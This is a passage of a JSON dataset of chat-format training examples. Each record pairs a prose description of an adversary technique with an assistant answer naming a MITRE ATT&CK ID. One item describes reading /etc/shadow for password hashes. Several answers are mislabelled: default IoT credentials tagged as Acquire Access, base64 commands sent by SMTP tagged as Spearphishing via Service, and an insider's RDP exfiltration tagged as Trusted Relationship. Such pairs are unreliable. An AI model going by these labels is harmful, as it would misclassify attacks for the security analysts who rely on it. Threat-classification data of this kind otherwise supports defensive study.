    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Google Alerts to monitor for new disclosures about the target's technology stack."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage DNS requests to CDN providers to enumerate and retrieve stored files from the cache."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool hijacks SMB traffic and changes the transmitted data to execute code on the target system."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a reverse shell via an installed remote access application to receive instructions."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged default credentials on an IoT device to infiltrate the internal network."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses Outlook rules to automatically forward calendar invites containing malicious links to an attacker-controlled mailbox."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group extracts database dumps from the local MySQL instance on the target server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a non‑C2 protocol wrapped with symmetric encryption to exfiltrate sensitive information undetected."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an intrusion, the adversary used a crafted HTML file that employed the FileReader API to decode a compressed payload hidden in the page’s script tags."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor steals stored VPN credentials from the macOS Keychain to establish persistent tunnels."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a Kerberos ticket from a victim's session and leverage it to authenticate to other machines in the domain."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a time provider binary into the system directory and updates the service parameters to execute it on startup."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary forces the victim machine to boot into Safe Mode by modifying the boot configuration data, disabling security tools during startup."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool extracts saved passwords from web browsers and writes them to an encrypted archive."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the procfs to locate and dump LSASS memory equivalents on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses the OpenShift master configuration API to extract cluster-wide settings and service account tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Task Scheduler to schedule a script with the same name as a common Windows task, such as \"UpdateOrchestrator\", to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary manipulates the password reset workflow to cause an MFA request to be sent, tricking the user into approving it."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers inject a malicious library into a running svchost.exe process via reflective DLL injection to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses a PowerShell module to enumerate the Windows Credential Manager and dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads sensitive files, encodes the contents with URL percent-encoding, and posts them to a web form."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use search engines to locate victim-owned web properties and gather publicly available data from those sites."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers renamed their malicious backdoor executable to 'notepad.exe' and placed it in the system directory to evade security tools."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries publicly available CDN logs and edge server information to discover the target's infrastructure and hosted assets."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malvertising campaigns are launched by embedding malicious code in banner ads that trigger drive‑by downloads when viewed."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a rogue CLSID entry and calling Verclsid.exe, the threat actor causes the system binary to load a malicious library, exemplifying T1218.012."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware employs anti-attach techniques by checking the parent process name for known debuggers."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command strings are encoded in base64 and sent via SMTP email attachments to a controlled mailbox."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables system integrity protection and uses launchctl to manipulate launchd for persistence."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the UEFI BIOS image to embed a stealthy loader, then flashes the altered image to the hardware."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Pass the Hash technique to authenticate to remote systems by reusing extracted NTLM hash values without needing the plaintext password."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a persistent two-way channel over a legitimate web service, using HTTP requests to both send commands to the compromised host and receive exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor collected sensitive documents and transferred them onto a portable hard drive before leaving the building."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group hijacks a government agency’s public portal, adding a hidden iframe that triggers the download of a Trojan horse on each visit."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code copies credential dumps to a Google Drive folder shared with the threat actor's account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a browser extension with excessive permissions to read and send stored web session cookies to an external endpoint."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor delays its command‑and‑control beacon until it can confirm that a user is actively interacting with the OS, such as opening applications or moving files."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated threat group sets up an external proxy server to relay encrypted traffic from compromised hosts, effectively bypassing network egress controls."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a new entry to the Windows Registry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to launch their malware at user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a free web domain and points it to a malicious site hosted on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows Task Scheduler to schedule a script that disables security services at each reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Suspicious scheduled task named 'Updater' runs a hidden executable with system privileges every 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware writes exfiltrated keystrokes to a hidden file and later pushes them through a covert ICMP channel."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages PowerShell Remoting over WinRM to execute a malicious script on a compromised Windows server."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor develops a trojan that injects into browsers to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool extracts cloud service credentials from a compromised host, which are then used to log into the victim's cloud dashboard."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reconfigures the Outlook home page to a compromised web server, causing the client to fetch and execute malicious scripts on launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the intruder timestomped the copied files to blend in with regular backups."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages DNS Tunneling as a means of establishing command and control channels for the purpose of facilitating lateral movement within a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script hijacked the Windows Update process to insert a backdoored system image, patching the OS binaries with hidden functionality."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform timestomping on log files, altering their modification dates to erase evidence of their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a privilege escalation exploit to edit the /etc/ld.so.conf file, adding a path to a malicious library, thereby hijacking the dynamic linking of future processes."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a hidden script in a seemingly harmless web page that reconstructs a PowerShell backdoor from encoded chunks, bypassing email filters through HTML smuggling."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged compromised credentials to run a script that permanently removes all messages from the organization's Gmail accounts."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By spoofing ARP responses, the attacker deceives the victim into sending all traffic through the attacker’s device."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with a shared configuration file (e.g., .env) on a development server, inserting credentials that allow later unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a reverse proxy on a public cloud instance that forwards requests to internal services, effectively bridging the external and internal networks."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation-state actor inserts a hardware implant into a shipment of networking equipment, allowing remote access once deployed in target networks."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs Kerberoasting to request service tickets for domain computers, then uses John the Ripper to crack the ticket hashes and obtain the service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor rolls back the device's firmware to a previous version to re‑enable a vulnerable driver and gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a command to cat /etc/shadow, capturing the password hashes for later use."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals use a botnet of compromised web servers to host and distribute additional malware payloads to unsuspecting victims."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit performed a remote query of the system's inventory database to extract a full software inventory for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After establishing persistence, the malicious actor generated a cloud compute snapshot to duplicate the compromised environment for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape WHOIS records to obtain IP address ranges and related hosting provider details for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the implant contacts a remote server to report the host's internet-visible IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Google Cloud Scheduler API to schedule and run recurring command‑line tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a custom tool to truncate the Windows Event Log files, ensuring no forensic artifacts remain."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider abused a trusted remote desktop protocol (RDP) tunnel to exfiltrate sensitive data from the internal network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the .NET ZipArchive class to compress and package collected files."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates a loop of authentication requests on a web application, compelling the user to submit their login details each time."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan checks for the presence of common debugger window titles such as \"x64dbg\" or \"OllyDbg\" and exits if found."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs network share discovery by scanning for open CIFS shares across the internal network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell command read the content of the local Exchange Transport Log and sent it to an attacker."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script inserts a new value into the user's Run registry path, causing the malware to run automatically when the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
